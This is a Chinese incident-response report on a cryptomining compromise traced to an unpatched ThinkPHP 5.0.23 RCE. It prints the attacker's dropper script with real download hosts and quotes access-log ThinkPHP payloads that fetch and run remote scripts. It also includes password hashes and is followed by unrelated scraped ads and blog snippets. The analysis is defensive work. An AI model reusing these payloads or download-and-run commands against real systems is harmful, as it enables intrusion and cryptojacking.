某系统被挖矿应急简报

某系统被挖矿应急简报

PS:文内所有内容均经被入侵方同意发布

被入侵方提供的信息

nginx +php

thinkphp 3.2

mysql

redis 无密码无限制

应急响应

经项目方提供的信息，发现thinkphp是3.2版本，近期没有RCE(远程代码执行漏洞)。推测是redis问题，分析进程[附录]、历史记录、PHP异常日志、网络连接、计划任务、恶意程序分析.发现恶意程序是通过crontab不断的进行启动执行更新操作。注释掉crontab。

# 挖矿计划任务，用户是Apache
[[email protected] ~]# ls -la /var/spool/cron/
total 12
drwx------. 2 root   root   4096 Apr 28 18:00 .
drwxr-xr-x. 8 root   root   4096 Apr 23 23:54 ..
-rw-------. 1 apache apache   47 Apr 28 18:00 apache
[[email protected] ~]# cat /var/spool/cron/apache
*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1
[[email protected] ~]#

在.bash_history文件中发现建立了一个yaya用户密码为123456,经确认是项目方建立。

# history 项目方建立 弱口令帐号
cat /etc/passwd
useradd yaya
echo ‘123456‘ | passwd  --stdin  yaya
history
history  --help
history  -h
top
[[email protected] .ssh]#     cat /etc/passwd|grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
yaya:x:501:501::/home/yaya:/bin/bash
[[email protected] .ssh]# cat /etc/shadow|grep ‘\$‘
root:$6$loNrVZl2$0YaC3m3Uapgqb38T9BlxzbhFoOu6tZvrLTkAJGZ/Y3n.w7fwIlOF0o0xg2mfnTtpS5VYP6QiwbDqvg2CWn2mE.:18009:0:99999:7:::
yaya:$6$.pEm8JS.$j553rgPtK5iZnlbMhjPU8hhrv/SIetuoOcki2fq98FbJIXxLmZUb7nKRbtindI/3TE1LJPcqoBP876bX7oc6R/:18013:0:99999:7:::
# yaya弱口令帐号登录 登录IP为西湖区
[[email protected] log]# grep yaya -rn ./
./secure-20190428:443153:Apr 27 21:04:57 localhost useradd[32588]: new group: name=yaya, GID=501
./secure-20190428:443154:Apr 27 21:04:57 localhost useradd[32588]: new user: name=yaya, UID=501, GID=501, home=/home/yaya, shell=/bin/bash
./secure-20190428:443681:Apr 27 21:07:19 localhost passwd: pam_unix(passwd:chauthtok): password changed for yaya
./secure-20190428:446927:Apr 27 21:22:07 localhost sshd[1635]: Accepted password for yaya from 112.137.22.114 port 49223 ssh2
./secure-20190428:446928:Apr 27 21:22:08 localhost sshd[1635]: pam_unix(sshd:session): session opened for user yaya by (uid=0)
./secure-20190428:450203:Apr 27 21:37:31 localhost sshd[3102]: Accepted password for yaya from 112.137.22.114 port 49816 ssh2
./secure-20190428:450204:Apr 27 21:37:31 localhost sshd[3102]: pam_unix(sshd:session): session opened for user yaya by (uid=0)
./secure-20190428:458549:Apr 27 22:19:52 localhost sshd[3102]: pam_unix(sshd:session): session closed for user yaya
./secure-20190428:476962:Apr 27 23:36:16 localhost sshd[1635]: pam_unix(sshd:session): session closed for user yaya
Binary file ./wtmp matches

php-fpm错误日志apache用户被删除，导致php-fpm进程启动失败。

# apache用户被删除导致PHP服务启动失败
[[email protected] php-fpm]# cat error.log-20190428  |tail -n 23
[27-Apr-2019 21:28:44] NOTICE: [pool www] child 2296 started
[27-Apr-2019 21:28:44] WARNING: [pool www] child 2039 exited on signal 9 (SIGKILL) after 176.088359 seconds from start
[27-Apr-2019 21:28:44] NOTICE: [pool www] child 2297 started
[27-Apr-2019 21:29:38] NOTICE: Terminating ...
[27-Apr-2019 21:29:38] NOTICE: exiting, bye-bye!
[27-Apr-2019 21:31:45] ERROR: [pool www] cannot get uid for user ‘apache‘
[27-Apr-2019 21:31:45] ERROR: FPM initialization failed
[27-Apr-2019 21:32:59] NOTICE: fpm is running, pid 2701
[27-Apr-2019 21:32:59] NOTICE: ready to handle connections
[27-Apr-2019 21:43:31] NOTICE: Terminating ...
[27-Apr-2019 21:43:31] NOTICE: exiting, bye-bye!
[27-Apr-2019 21:43:35] ALERT: [pool www] user has not been defined
[27-Apr-2019 21:43:35] ERROR: failed to post process the configuration
[27-Apr-2019 21:43:35] ERROR: FPM initialization failed
[27-Apr-2019 21:45:57] ALERT: [pool www] user has not been defined
[27-Apr-2019 21:45:57] ERROR: failed to post process the configuration
[27-Apr-2019 21:45:57] ERROR: FPM initialization failed
[27-Apr-2019 21:48:40] NOTICE: fpm is running, pid 4128
[27-Apr-2019 21:48:40] NOTICE: ready to handle connections
[27-Apr-2019 21:53:15] NOTICE: Terminating ...
[27-Apr-2019 21:53:15] NOTICE: exiting, bye-bye!
[27-Apr-2019 21:54:40] NOTICE: fpm is running, pid 4677
[27-Apr-2019 21:54:40] NOTICE: ready to handle connections
# 端口连接信息
[[email protected] conf]# netstat -natp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 127.0.0.1:9000              0.0.0.0:*                   LISTEN      4677/php-fpm
tcp        0      0 0.0.0.0:9001                0.0.0.0:*                   LISTEN      4644/nginx
tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      4644/nginx
tcp        0      0 213.139.123.100:80            111.27.151.57:23852        SYN_RECV    -
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      3248/sshd
tcp        0      0 0.0.0.0:9080                0.0.0.0:*                   LISTEN      4644/nginx
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      1879/master
tcp        0      0 127.0.0.1:9000              127.0.0.1:47059             TIME_WAIT   -
tcp        0      0 127.0.0.1:9000              127.0.0.1:47058             TIME_WAIT   -
tcp        0      0 127.0.0.1:9000              127.0.0.1:47061             TIME_WAIT   -
tcp        0      0 213.139.123.100:22            158.242.82.113:39166          ESTABLISHED 12209/sshd
tcp        0      0 127.0.0.1:9000              127.0.0.1:47057             TIME_WAIT   -
tcp        0      0 213.139.123.100:35936         147.198.12.122:3306          TIME_WAIT   -
tcp        0      0 127.0.0.1:9000              127.0.0.1:47062             TIME_WAIT   -
tcp        0      0 127.0.0.1:9000              127.0.0.1:47056             TIME_WAIT   -
tcp        0      0 213.139.123.100:22            158.242.82.113:56172          ESTABLISHED 11127/sshd
tcp        0      0 :::22                       :::*                        LISTEN      3248/sshd
tcp        0      0 ::1:25                      :::*                        LISTEN      1879/master

无实质进展，开始分析漏洞攻击程序

# 显示通过sh脚本下载攻击程序之后进行蠕虫攻击
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null # 关闭selinux
sync && echo 3 >/proc/sys/vm/drop_caches
crondir=‘/var/spool/cron/‘"$USER"                          # 生成当前用户的计划文件位置
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`                      # 查看已连接记录
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
miner_url="https://pixeldrain.com/api/file/3myaXqqZ"
miner_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate"
miner_size="854364"
sh_url="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.sh"
sh_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.sh"
config_url="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/config.json"
config_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/config.json"
config_size="3300"
scan_url="https://pixeldrain.com/api/file/aQWIprw_"
scan_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice"
scan_size="2209848"
watchdog_url="https://pixeldrain.com/api/file/knkIaq6F"
watchdog_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard"
watchdog_size="1645344"
# networkservice扫描程序利用的漏洞
_/tmp/0324/scan/exp.cc_is_shell_rce
_/tmp/0324/scan/exp.cc_shell_rce
_/tmp/0324/scan/exp.cc_shell_t_rce
_/tmp/0324/scan/exp.Cctv_exploit
_/tmp/0324/scan/exp.dp_isdrupal
_/tmp/0324/scan/exp.dp_check_payload
_/tmp/0324/scan/exp.dp_7600_ver8_rce
_/tmp/0324/scan/exp.dp_7600_rce
_/tmp/0324/scan/exp.Drupal_exploit
_/tmp/0324/scan/exp.es_exploit_cve20151427_rce
_/tmp/0324/scan/exp.es_exploit_cve20151427_t_rce
_/tmp/0324/scan/exp.toj
_/tmp/0324/scan/exp.es_exploit_cve20143120_rce
_/tmp/0324/scan/exp.es_exploit_cve20143120_t_rce
_/tmp/0324/scan/exp.Elasticsearch_exploit
_/tmp/0324/scan/exp.get_target
_/tmp/0324/scan/exp.Get_ps_name
_/tmp/0324/scan/exp.Iam_is_scan
_/tmp/0324/scan/exp.Report_succ
_/tmp/0324/scan/exp.get_win_powershell_command_by_cc
_/tmp/0324/scan/exp.Init_cc
_/tmp/0324/scan/exp.hd_exploit_unaurority_rce
_/tmp/0324/scan/exp.Hadoop_exploit
_/tmp/0324/scan/exp.re_exploit_rce
github.com/go-redis/redis.(*StatusCmd).Result
_/tmp/0324/scan/exp.re_exploit_connect_redis
_/tmp/0324/scan/exp.re_exploit_redis_brute   # redis服务暴力破解
_/tmp/0324/scan/exp.re_exploit_unaurority_rce
_/tmp/0324/scan/exp.Redis_exploit            # redils服务漏洞利用
_/tmp/0324/scan/exp.sp_cve20181273_exists
_/tmp/0324/scan/exp.sp_cve20181273_exploit
_/tmp/0324/scan/exp.Spring_exploit
_/tmp/0324/scan/exp.ss_execute_sql
_/tmp/0324/scan/exp.ss_execute_payload
_/tmp/0324/scan/exp.ss_exploit_xcmdshell
_/tmp/0324/scan/exp.ss_exploit_sp_oacreate
_/tmp/0324/scan/exp.ss_crack_login
_/tmp/0324/scan/exp.ss_exploit
_/tmp/0324/scan/exp.Sqlserver_exploit
_/tmp/0324/scan/exp.tp_isThinkphp           # thinkphp 指纹识别
_/tmp/0324/scan/exp.tp5_rce_Exists          # thinkphp 漏洞检测
_/tmp/0324/scan/exp.tp_exploit_tp5rce_exp   # thinkphp 漏洞检测
_/tmp/0324/scan/exp.tp_exploit_tp5rce        # thinkphp 漏洞检测
_/tmp/0324/scan/exp.tp5_23_rce_Exists         # thinkphp5.0.23漏洞检测程序
_/tmp/0324/scan/exp.tp_exploit_tp5_23_rce_exp # thinkphp5.0.23漏洞检测程序
_/tmp/0324/scan/exp.tp_exploit_tp5_23rce        # thinkphp5.0.23漏洞检测程序
_/tmp/0324/scan/exp.Thinkphp_exploit        # thinkphp5.0.23漏洞检测程序
_/tmp/0324/scan/exp.Http_GetData
_/tmp/0324/scan/exp.Encode_powershell
_/tmp/0324/scan/exp.wl_wls_urlistrue
_/tmp/0324/scan/exp.wl_cve201710271_rce
_/tmp/0324/scan/exp.wl_cve201710271_t_rce
_/tmp/0324/scan/exp.Weblogic_exploit
_/tmp/0324/scan/exp.cc_is_shell_rce.func1
_/tmp/0324/scan/exp.cc_shell_rce.func1
_/tmp/0324/scan/exp.dp_isdrupal.func1
_/tmp/0324/scan/exp.dp_check_payload.func1
_/tmp/0324/scan/exp.dp_7600_ver8_rce.func1
_/tmp/0324/scan/exp.es_exploit_cve20151427_rce.func1
_/tmp/0324/scan/exp.es_exploit_cve20143120_rce.func1
_/tmp/0324/scan/exp.hd_exploit_unaurority_rce.func1
_/tmp/0324/scan/exp.hd_exploit_unaurority_rce.func2
_/tmp/0324/scan/exp.sp_cve20181273_exists.func1
_/tmp/0324/scan/exp.sp_cve20181273_exploit.func1
_/tmp/0324/scan/exp.tp_isThinkphp.func1
_/tmp/0324/scan/exp.tp5_rce_Exists.func1
_/tmp/0324/scan/exp.tp_exploit_tp5rce_exp.func1
_/tmp/0324/scan/exp.tp5_23_rce_Exists.func1
_/tmp/0324/scan/exp.tp_exploit_tp5_23_rce_exp.func1
_/tmp/0324/scan/exp.Http_GetData.func1
_/tmp/0324/scan/exp.wl_wls_urlistrue.func1
_/tmp/0324/scan/exp.wl_cve201710271_rce.func1
_/tmp/0324/scan/exp.init
type..hash.[2993]string
type..eq.[2993]string
_/tmp/0324/scan/ipc.download_ipdb
_/tmp/0324/scan/ipc.Init_ip
_/tmp/0324/scan/ipc.init
main.openPort
main.randomIp
main.scan
main.mainScan
main.debug_randomiplist
main.initdebug_ip
main.main
main.setMaxThread
main.init
/tmp/0324/scan/top.go
/tmp/0324/scan/ipc/ipcn.go
/tmp/0324/scan/exp/weblogic_exploit.go
/tmp/0324/scan/exp/utils.go
/tmp/0324/scan/exp/thinkphp_exploit.go
/tmp/0324/scan/exp/sqlserver_exploit.go
/tmp/0324/scan/exp/spring_exploit.go
/tmp/0324/scan/exp/redis_exploit.go
/tmp/0324/scan/exp/hadoop_exploit.go
/tmp/0324/scan/exp/get_target.go
/tmp/0324/scan/exp/elasticsearch_exploit.go
/tmp/0324/scan/exp/drupal_exploit.go
/tmp/0324/scan/exp/cctv_exploit_wait.go

很是平常的漏洞程序。通过分析恶意程序执行逻辑发现计划任务文件是/var/spool/cron/apache,挖矿当前用户是apache并非root，如果是redis漏洞入侵的应该是/var/spool/cron/root文件，通过代码确定应该是web漏洞导致的被入侵。

# 计划任务文件建立路径
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir=‘/var/spool/cron/‘"$USER" # 获取当前用户，拼接计划任务文件路径
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"

开始分析web应用程序，共三个目录，发现是两个版本thinkphp3.2.x，一个thinkphp5.0.23，并非项目方提供的全是3.2.x版本框架。

其中版本5.0.23是存在过代码执行漏洞，查看access.log日志

# 筛选代码执行漏洞攻击数据，发现 194.36.173.4、119.96.241.184、119.23.150.111、47.103.42.52、202.176.4.248
# 经过对这些攻击数据的测试发现并没有执行成功
[[email protected] Api]# cd /usr/local/nginx/logs/
[[email protected] logs]# grep invokefunction -rn ./
./access.log:45236:194.36.173.4 - - [26/Apr/2019:11:50:33 +0800] "GET /public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://zull.ir/t.sh%20-O%20/tmp/.t;%20chmod%20777%20/tmp/.t;%20sh%20/tmp/.t HTTP/1.1" 404 47 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.6.3.el6.x86_64"
./access.log:45805:194.36.173.4 - - [26/Apr/2019:12:01:53 +0800] "GET /public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://zull.ir/t.sh%20-O%20/tmp/.t;%20chmod%20777%20/tmp/.t;%20sh%20/tmp/.t HTTP/1.1" 404 47 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.6.3.el6.x86_64"
./access.log:45810:194.36.173.4 - - [26/Apr/2019:12:04:08 +0800] "GET /public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20http://zull.ir/t.sh HTTP/1.1" 404 47 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.6.3.el6.x86_64"
./access.log:45829:194.36.173.4 - - [26/Apr/2019:12:17:20 +0800] "GET /index.php?s=/index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20http://zull.ir/t.sh HTTP/1.1" 200 31 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.6.3.el6.x86_64"
./access.log:45851:194.36.173.4 - - [26/Apr/2019:12:25:54 +0800] "GET /index.php?s=/index/%09hink%07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=‘wget%20http://194.36.173.4/vi/x86.bushido%20-O%20zullthink%20;%20chmod%20777%20zullthink%20;%20./zullthink%20thinkphp%20;%20rm%20-rf%20zullthink HTTP/1.1" 200 31 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.6.3.el6.x86_64"
./access.log:66105:119.96.241.184 - - [27/Apr/2019:09:58:12 +0800] "GET /index.php?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
./access.log:68333:119.23.150.111 - - [27/Apr/2019:20:11:58 +0800] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://81.6.42.123/a_thk.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
./access.log:71284:47.103.42.52 - - [28/Apr/2019:05:53:29 +0800] "GET /index.php?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
./access.log:71386:202.176.4.248 - - [28/Apr/2019:12:00:02 +0800] "GET /index.php?s=index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1" 200 31 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

存在攻击日志，并简单测试发现上面漏洞利用均失败，查看漏洞文件 /proget/Api/thinkphp/library/think/Request.php 发现代码并没有打补丁，构造exp进行攻击测试发现攻击成功

# Request.php 文件时间，查看文件发现并没有打补丁
[[email protected] proget]# stat ./Api/thinkphp/library/think/Request.php
  File: `./Api/thinkphp/library/think/Request.php‘
  Size: 52356           Blocks: 104        IO Block: 4096   regular file
Device: fd03h/64771d    Inode: 22151605    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-04-28 00:33:01.449702746 +0800
Modify: 2019-04-23 10:55:24.000000000 +0800
Change: 2019-04-25 00:28:47.926143064 +0800

构造5.0.23漏洞EXP

EXP攻击日志

# 119.96.241.184    湖北武汉    电信
# 47.103.42.52      上海阿           阿里云/电信/联通/移动/铁通/教育网
# 47.103.42.52      马来西亚吉隆坡联邦直辖区 teamcloud.my

[[email protected] logs]# grep ‘/index.php?s=captcha‘ -rn ./
./access.log:66106:119.96.241.184 - - [27/Apr/2019:09:58:13 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34700 "-" "Go-http-client/1.1"
./access.log:66107:119.96.241.184 - - [27/Apr/2019:09:58:18 +0800] "POST /index.php?s=captcha HTTP/1.1" 499 0 "-" "Go-http-client/1.1"
./access.log:66108:119.96.241.184 - - [27/Apr/2019:09:58:51 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34517 "-" "Go-http-client/1.1"
./access.log:71285:47.103.42.52 - - [28/Apr/2019:05:53:29 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34726 "-" "Go-http-client/1.1"
./access.log:71286:47.103.42.52 - - [28/Apr/2019:05:53:34 +0800] "POST /index.php?s=captcha HTTP/1.1" 499 0 "-" "Go-http-client/1.1"
./access.log:71287:47.103.42.52 - - [28/Apr/2019:05:54:04 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34519 "-" "Go-http-client/1.1"
./access.log:71387:202.176.4.248 - - [28/Apr/2019:12:00:03 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34727 "-" "Go-http-client/1.1"
./access.log:71388:202.176.4.248 - - [28/Apr/2019:12:00:08 +0800] "POST /index.php?s=captcha HTTP/1.1" 499 0 "-" "Go-http-client/1.1"
./access.log:71389:202.176.4.248 - - [28/Apr/2019:12:00:38 +0800] "POST /index.php?s=captcha HTTP/1.1" 500 34495 "-" "Go-http-client/1.1"

通过user-agent判断应该都是被入侵的机器进行蠕虫式入侵传播挖矿进程。

安全建议

  • 实时跟踪thinkPHP漏洞信息
  • 对防火墙开启白名单策略
  • 重要接口禁止对外
  • 禁止多台服务器用私钥混连

原文地址：https://www.cnblogs.com/M0rta1s/p/11741298.html

时间： 2024-10-11 10:55:14

某系统被挖矿应急简报的相关文章

绿沙链数字资产挖矿系统开发

绿沙链数字资产挖矿系统开发,绿沙链手机挖矿系统开发app源码定制找:韩先生 131-4896-5759可微电.绿沙链矿机系统源码开发,绿沙链手机挖矿软件开发,绿沙链(GDCTK)通过专业的技术.全方位的运营,以打造基于社区共识的公链搭载的绿化沙漠平台为己任,该平台采用区块链技术.智能合约.分布式存储相结合设计了绿沙公链. 绿沙链数字资产区块链虚拟币系统,绿沙链矿机系统源码开发,绿沙链手机挖矿软件开发,绿沙链(GDCTK)系统开发区块链挖矿系统开发.我司专业定制类似虚拟挖矿手机软件,提供完善的系统

应急广播村村响系统方案

应急广播村村响系统方案北京恒星科通科技发展有限公司 http://www.bjhxkt.com 010-82565576 应急广播村村响系统系统介绍 在农村,广播具有覆盖面广.操作方便.强灌输性等优势,是进行应急通知的重要手段,是政府宣传方针政策.传达国家声音的喉舌,也是对农民进行政治思想引导的得力工具.应急广播村村响系统系统采用"FM调频广播+控制信号+HFC有线电视传输网络+接收终端"的共缆传输模式,对辖区各乡镇和行政村进行广播信号全覆盖.恒星科通应急广播村村响系统系统采用独特的广

“永恒之蓝”蠕虫病毒应急准备总结

辛亏"永恒之蓝"爆发在周末,绝大部分员工在家休息,为我们避免内网病毒爆发赢取了时间,整个周末一直加固已有系统和准备应急预案,避免周一发生大规模"永恒之蓝"在内部大面积爆发的可能. 整体措施和预防传染病的原理类似:控制传染源.切断传播途径,保护易感人群. 1控制传染源:所有的办公电脑开机前都必须网络隔离,所有计算机严禁插入U盘,一旦出现感染电脑,直接拔电源.就内网环境而言,一旦出现一例,大概率爆发爆发的可能性比较高. 2切断传播途径,办公网和生产网物理隔离,生产网根据

中科燕园GIS外包-----基于ArcGIS的应急平台

1. 国家应急平台体系 <“十一五”期间国家突发公共事件应急体系建设规划>(国办发[2006]106号)明确提出“十一五”期间建设“以国务院应急平台为中心,以省级和部门应急平台为枢纽,上下贯通.左右衔接.互联互通.信息共享.互有侧重.互为支撑.安全畅通的国家应急平台体系”. 2006年,国家启动了“十一五”科技支撑计划“国家应急平台体系关键技术研发与应用示范”(2006-2008).为国家应急平台体系提供了设计方案.标准规范.软件系统和数据库等关键技术支撑,以及12个部门应急平台和10个省级应

创客系统定制开发

The cause of suffering is selfish desire, whether it is the desire for pleasure, desire for revenge, or simply desire for a long life. 痛苦的根源来自私慾,无论企求快乐.报复,或只企求长寿,都会导致痛苦. 创客系统模式开发找[杨经理189电9844微8741],创客系统App开发,创客系统定制开发创客系统介绍:1.找你上级注册一个创客系统账号, 然后找五星主管给准

[转帖]关于4A（统一安全管理平台）系统的理解

雪山上的蒲公英 https://www.cnblogs.com/zjfjava/p/10674577.html https://www.cnblogs.com/zjfjava/p/10674577.html 关于4A(统一安全管理平台)系统的理解 1. 4A系统的需求分析 近年来企业用户的业务系统发展十分迅速,内部的系统数和用户数不断增加,网络规模迅速扩大,在应用扩展的同时,各业务系统的安全管理工作相对滞后,无法满足企业发展的长期要求. 各系统中有大量的网络设备.主机和应用系统,分别归属于不同的

Linux服务器运行一段时间，出现CPU占用率达到100%卡死

没事整了一个1核2G的便宜服务器,虽说便宜吧,但是搞个博客网站啥的也还是够用了:但是呢,最近服务器过几天就会出先CPU占用率达到100%:系统完全卡死,项目请求一个都访问不了,或者就是超级长时间才能得到应答.一开始还没在意,重启一下服务器就好了,可经常出现,重启也难受啊!后来百度好久才知道可能是被黑了,所以就到处找问题,啥子定时任务,脚本,一个个的看,可以说,把服务器文件结构又熟悉了一遍,终于是找到了一堆垃圾文件,确定了是真的被黑了.其实我还是搞不懂,我这么小个服务器咋也被盯上了.最后通过下面这

隐忍多年，今年双十一，苏宁可以给自己一点掌声

双十一确实还是天猫的双十一,大部分的焦点都集中在10日晚天猫的晚会和11日的GMV增长上,但其中比较有意思的是苏宁易购在天猫双十一中狠狠的刷了一次存在感,成为2016年天猫双十一的单店销售冠军,苏宁订单量增193%,对于今年双十一的表现,苏宁可以给自己一点掌声. 苏宁成为天猫双十一销售额冠军并不是靠关系,而是传统品牌价值回归 11日0点一过,天猫销售额瞬间飙升,而苏宁第一时间就脱颖而出,最终成为天猫单店销售额冠军.很多人可能会认为阿里与苏宁有密切的股权关系,所以天猫自然会照顾一下苏宁易购,这种情

历年项目实施经验总结

2007年到2010年本人先后参与了十多起客服系统项目实施的工作,这些项目时间短的有一两个月.长的有两年,金额上少的几十万.多的几个亿,人数上少的两三人.多的达到上百人,本人在这些项目中有的参与全程.有的参与了部分,由于本人做的项目都是中后期的部署实施.系统割接.遗留问题处理.系统转维等工作,对于项目前期的调研.分析.编码.测试等事项不在本人的负责范围之内,特把几年来参与项目实施的经验感受写出,以便参考. 参与的几个主要项目有:1. 2007年某中心数据库升级项目,包括了小型机.AIX.orac